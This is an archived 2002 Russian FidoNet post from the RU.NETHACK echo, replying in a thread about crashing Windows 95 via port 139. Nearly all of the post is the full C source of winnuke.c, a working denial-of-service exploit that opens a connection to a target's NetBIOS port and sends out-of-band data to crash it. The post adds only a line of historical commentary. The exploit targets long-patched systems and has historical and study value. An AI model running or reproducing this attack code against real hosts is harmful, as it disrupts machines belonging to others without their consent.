Главная страница


ru.nethack

 
 - RU.NETHACK -------------------------------------------------------------------
 From : Eugene Korovin                       2:5080/196.72  07 Apr 2002  14:37:34
 To : 3APA3A
 Subject : Re: <none>
 -------------------------------------------------------------------------------- 
 
 
 On Wed, 03 Apr 2002 20:54:05 +0600 you wrote:
 
  FK>> Клиентом ты можешь влезть хоть на 139 порт - лишь бы он открыт был.
  FK>> (Говорят w95 от этого выпадала в BSoD 8))
  AA> Кто говорит?
 
  Hу, не то что бы от простого телнета, но всетаки... Кстатии именно
 после этой дыры Hекрософт убрал(?) OOB из своего tcp/ip...
 /* winnuke.c - (05/07/97)  By _eci  */
 /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
 #include <stdio.h>
 #include <string.h>
 #include <netdb.h>
 #include <netinet/in.h>
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <unistd.h>
 
 #define dport 139  /* Attack port: 139 is what we want */
 
 int x, s;
 char *str = "Bye";  /* Makes no diff */
 struct sockaddr_in addr, spoofedaddr;
 struct hostent *host;
 int open_sock(int sock, char *server, int port) {
      struct sockaddr_in blah;
      struct hostent *he;
      bzero((char *)&blah,sizeof(blah));
      blah.sin_family=AF_INET;
      blah.sin_addr.s_addr=inet_addr(server);
      blah.sin_port=htons(port);
     if ((he = gethostbyname(server)) != NULL) {
         bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
     }
     else {
          if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
            perror("gethostbyname()");
            return(-3);
          }
     }
 
         if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
              perror("connect()");
              close(sock);
              return(-4);
         }
         printf("Connected to [%s:%d].\n",server,port);
         return;
 }
 void main(int argc, char *argv[]) {
 
      if (argc != 2) {
        printf("Usage: %s <target>\n",argv[0]);
        exit(0);
      }
 
      if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
         perror("socket()");
         exit(-1);
      }
 
      open_sock(s,argv[1],dport);
      printf("Sending crash... ");
        send(s,str,strlen(str),MSG_OOB);
        usleep(100000);
      printf("Done!\n");
      close(s);
 }
 /evk
 --- tin/1.5.12-20020311 ("Toxicity") (UNIX) (Linux/2.4.18 (i686))
  * Origin: Registered Linux user #194650 (2:5080/196.72)
 
 

Вернуться к списку тем, сортированных по: возрастание даты  уменьшение даты  тема  автор 

 Тема:    Автор:    Дата:  
 Re: <none>   Eugene Korovin   07 Apr 2002 14:37:34 
 <none>   Sergey Ternovykh   08 Apr 2002 01:28:57 
 <none>   Dmitry Radishev   08 Apr 2002 20:15:57 
 Re: <none>   3APA3A   09 Apr 2002 12:07:23 
 Re: <none>   3APA3A   08 Apr 2002 13:50:45 
Архивное /ru.nethack/4004227c4243.html, оценка 2 из 5, голосов 10
Яндекс.Метрика
Valid HTML 4.01 Transitional